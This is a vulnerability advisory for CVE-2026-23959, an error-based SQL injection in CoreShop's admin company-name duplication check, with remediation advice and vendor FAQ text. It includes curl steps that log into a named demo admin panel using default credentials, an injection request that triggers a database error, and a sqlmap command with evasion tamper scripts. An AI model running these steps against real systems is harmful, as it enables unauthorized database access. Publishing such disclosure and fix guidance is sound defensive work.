Summary
SQL Injection in CustomerTransformerController
An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.
This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.
Details
The vulnerability exists in the company name duplication check endpoint:
/admin/coreshop/customer-company-modifier/duplication-name-check?value=
Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.
Vulnerable file:
/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php
Vulnerable code pattern:
sprintf('name LIKE "%%%s%%"', (string) $value)
The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.
Exploitation Steps:
Prerequisites
- Admin panel access at
https://demo4.coreshop.org/admin - Default credentials:
admin / coreshop
Authenticate to admin panel
# Get CSRF token
curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken
# Initialize session
curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null
# Get CSRF token with session
CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)
# Login
curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
-X POST 'https://demo4.coreshop.org/admin/login/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "username=admin&password=coreshop&csrfToken=$CSRF"
Trigger SQL error to confirm injection
curl -s -b /tmp/session.txt \
'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'
Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"
Normal response (non-error):
{"success":true,"message":null,"list":[]}
Proof of Impact:
Test 1 - Normal query:
GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}
Test 2 - SQL injection (error-inducing):
GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
<title>500 | CORS - Pimcore Digital Agency</title>
...
</head>
The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.
Sqlmap Result:
python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db
1. Use Parameterized Queries (Required)
Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.
❌ Vulnerable example:
$condition = sprintf('name LIKE "%%%s%%"', (string) $value);
✅ Secure example (Doctrine QueryBuilder):
$qb->andWhere('c.name LIKE :name')
->setParameter('name', '%' . $value . '%');
This ensures proper escaping and prevents SQL injection.
2. Validate User Input (Defense-in-Depth)
Apply strict input validation before processing user data:
if (!is_string($value) || mb_strlen($value) > 255) {
throw new BadRequestHttpException('Invalid input');
}
Optionally, restrict allowed characters if business logic permits.
3. Handle Errors Gracefully
Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:
return new JsonResponse([
'success' => false,
'message' => 'Invalid request'
], 400);
4. Security Best Practice
- Never interpolate user input directly into SQL strings
- Always use prepared statements or ORM parameter binding
- Ensure consistent input validation on all admin endpoints
Impact
- Vulnerability type: SQL Injection (Error-based)
- Affected users: CoreShop / Pimcore admin users
- Potential impact:
- Database error disclosure
- Database schema enumeration
- Possible data extraction via error-based or blind SQL injection
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-23959? CVE-2026-23959 is a medium-severity security vulnerability in coreshop/core-shop (composer), affecting versions < 4.1.9. It is fixed in 4.1.9.
- Which versions of coreshop/core-shop are affected by CVE-2026-23959? coreshop/core-shop (composer) versions < 4.1.9 is affected.
- Is there a fix for CVE-2026-23959? Yes. CVE-2026-23959 is fixed in 4.1.9. Upgrade to this version or later.
- Is CVE-2026-23959 exploitable, and should I be worried? Whether CVE-2026-23959 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-23959 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-23959? Upgrade
coreshop/core-shopto 4.1.9 or later.